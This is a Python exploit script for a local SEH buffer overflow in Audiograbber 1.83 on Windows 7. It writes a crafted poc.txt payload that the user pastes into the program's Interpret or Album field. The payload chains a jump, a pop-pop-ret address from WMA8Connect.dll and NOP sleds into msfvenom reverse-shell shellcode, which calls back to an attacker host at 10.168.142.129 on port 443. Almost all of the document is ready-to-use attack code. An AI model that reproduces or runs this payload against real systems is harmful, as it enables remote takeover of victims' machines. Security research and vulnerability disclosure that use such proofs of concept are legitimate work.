Audiograbber 1.83 - Local Buffer Overflow (SEH)

# Exploit Title: Audiograbber 1.83 - Local Buffer Overflow (SEH)
# Date: 2018-06-16
# Exploit Author: Dennis 'dhn' Herrmann
# Vendor Homepage: https://www.audiograbber.org/
# Version: 1.83
# Tested on: Windows 7 SP1 (x86)

#!/usr/bin/env python
# $Id: exploit.py,v 1.0 2018/06/16 13:25:59 dhn Exp $
#
# Tested with Windows 7 SP1 (x86)
# Steps:
#  - Paste "poc.txt" content in the "Interpret" or "Album" field

class Exploit:

    def __init__(self, shellcode):
        self._shellcode = shellcode
        self._payload = None

    def __write(self):
        f = open("poc.txt", "w")
        f.write(self._payload)
        f.close()

    def run(self):
        pattern = "A" * 256
        jmp_short = "\xeb\x08\x90\x90"  # short JMP
        pop2ret = "\x79\x91\x01\x10"    # WMA8Connect.dll

        self._payload = pattern
        self._payload += jmp_short
        self._payload += pop2ret

        # The buffer is mangled so we have to jump
        # over the parts to reached our shellcode
        self._payload += "\x90" * 18 + jmp_short
        self._payload += "\x90" * 28 + jmp_short
        self._payload += "\x90" * 32 + self._shellcode 

        self.__write()

def main():
    # msfvenom --platform windows -p windows/shell_reverse_tcp \
    #       LHOST=10.168.142.129 LPORT=443 -b "\x00\x0a\x0d" \
    #       -e x86/alpha_mixed -f py
    shellcode = (
        "\xda\xcd\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49"
        "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51"
        "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
        "\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50"
        "\x38\x41\x42\x75\x4a\x49\x39\x6c\x59\x78\x6f\x72\x77"
        "\x70\x73\x30\x73\x30\x43\x50\x4e\x69\x6b\x55\x55\x61"
        "\x69\x50\x32\x44\x6c\x4b\x76\x30\x70\x30\x6e\x6b\x50"
        "\x52\x54\x4c\x4c\x4b\x72\x72\x47\x64\x6c\x4b\x74\x32"
        "\x46\x48\x36\x6f\x6d\x67\x73\x7a\x67\x56\x74\x71\x6b"
        "\x4f\x4e\x4c\x37\x4c\x51\x71\x53\x4c\x53\x32\x34\x6c"
        "\x75\x70\x59\x51\x78\x4f\x56\x6d\x73\x31\x79\x57\x6b"
        "\x52\x4b\x42\x71\x42\x56\x37\x4c\x4b\x63\x62\x74\x50"
        "\x6e\x6b\x52\x6a\x57\x4c\x4c\x4b\x42\x6c\x54\x51\x32"
        "\x58\x4d\x33\x37\x38\x57\x71\x58\x51\x76\x31\x4e\x6b"
        "\x33\x69\x31\x30\x37\x71\x4e\x33\x6e\x6b\x61\x59\x47"
        "\x68\x4a\x43\x47\x4a\x43\x79\x4e\x6b\x76\x54\x6e\x6b"
        "\x37\x71\x38\x56\x74\x71\x59\x6f\x4c\x6c\x4b\x71\x78"
        "\x4f\x36\x6d\x36\x61\x68\x47\x75\x68\x6b\x50\x70\x75"
        "\x39\x66\x55\x53\x31\x6d\x4c\x38\x35\x6b\x73\x4d\x71"
        "\x34\x62\x55\x4a\x44\x73\x68\x4c\x4b\x31\x48\x61\x34"
        "\x76\x61\x58\x53\x30\x66\x6e\x6b\x76\x6c\x50\x4b\x4e"
        "\x6b\x31\x48\x35\x4c\x67\x71\x59\x43\x4c\x4b\x37\x74"
        "\x4c\x4b\x53\x31\x4e\x30\x4b\x39\x33\x74\x55\x74\x45"
        "\x74\x73\x6b\x43\x6b\x31\x71\x31\x49\x53\x6a\x43\x61"
        "\x4b\x4f\x79\x70\x63\x6f\x73\x6f\x70\x5a\x4c\x4b\x64"
        "\x52\x5a\x4b\x6c\x4d\x43\x6d\x52\x48\x30\x33\x67\x42"
        "\x37\x70\x73\x30\x35\x38\x34\x37\x53\x43\x76\x52\x33"
        "\x6f\x53\x64\x63\x58\x30\x4c\x33\x47\x76\x46\x44\x47"
        "\x6b\x4f\x38\x55\x6d\x68\x4a\x30\x37\x71\x47\x70\x47"
        "\x70\x55\x79\x69\x54\x76\x34\x46\x30\x35\x38\x45\x79"
        "\x6d\x50\x70\x6b\x57\x70\x79\x6f\x4a\x75\x56\x30\x56"
        "\x30\x30\x50\x46\x30\x73\x70\x30\x50\x43\x70\x72\x70"
        "\x62\x48\x4b\x5a\x44\x4f\x59\x4f\x6d\x30\x49\x6f\x7a"
        "\x75\x7a\x37\x51\x7a\x55\x55\x53\x58\x76\x6a\x6e\x48"
        "\x4c\x4e\x6e\x61\x73\x58\x44\x42\x67\x70\x47\x71\x4f"
        "\x4b\x4d\x59\x4d\x36\x53\x5a\x34\x50\x70\x56\x76\x37"
        "\x31\x78\x6e\x79\x49\x35\x44\x34\x53\x51\x49\x6f\x68"
        "\x55\x6d\x55\x6f\x30\x50\x74\x36\x6c\x69\x6f\x50\x4e"
        "\x56\x68\x52\x55\x6a\x4c\x73\x58\x6a\x50\x58\x35\x6c"
        "\x62\x46\x36\x59\x6f\x48\x55\x32\x48\x43\x53\x30\x6d"
        "\x63\x54\x77\x70\x6f\x79\x78\x63\x56\x37\x32\x77\x46"
        "\x37\x50\x31\x59\x66\x32\x4a\x46\x72\x53\x69\x62\x76"
        "\x79\x72\x59\x6d\x52\x46\x59\x57\x63\x74\x51\x34\x37"
        "\x4c\x76\x61\x66\x61\x6c\x4d\x61\x54\x44\x64\x42\x30"
        "\x6b\x76\x73\x30\x42\x64\x63\x64\x52\x70\x31\x46\x51"
        "\x46\x50\x56\x42\x66\x30\x56\x62\x6e\x71\x46\x76\x36"
        "\x36\x33\x71\x46\x42\x48\x74\x39\x7a\x6c\x55\x6f\x4f"
        "\x76\x59\x6f\x6b\x65\x4b\x39\x59\x70\x70\x4e\x66\x36"
        "\x30\x46\x59\x6f\x64\x70\x31\x78\x67\x78\x6c\x47\x67"
        "\x6d\x35\x30\x49\x6f\x78\x55\x4d\x6b\x58\x70\x6d\x65"
        "\x6f\x52\x36\x36\x73\x58\x6c\x66\x7a\x35\x4d\x6d\x6d"
        "\x4d\x59\x6f\x59\x45\x75\x6c\x53\x36\x31\x6c\x47\x7a"
        "\x6d\x50\x49\x6b\x79\x70\x70\x75\x36\x65\x6f\x4b\x77"
        "\x37\x62\x33\x61\x62\x70\x6f\x71\x7a\x45\x50\x61\x43"
        "\x6b\x4f\x69\x45\x41\x41"
     )

    exploit = Exploit(shellcode)
    exploit.run()


if __name__ == "__main__":
    main()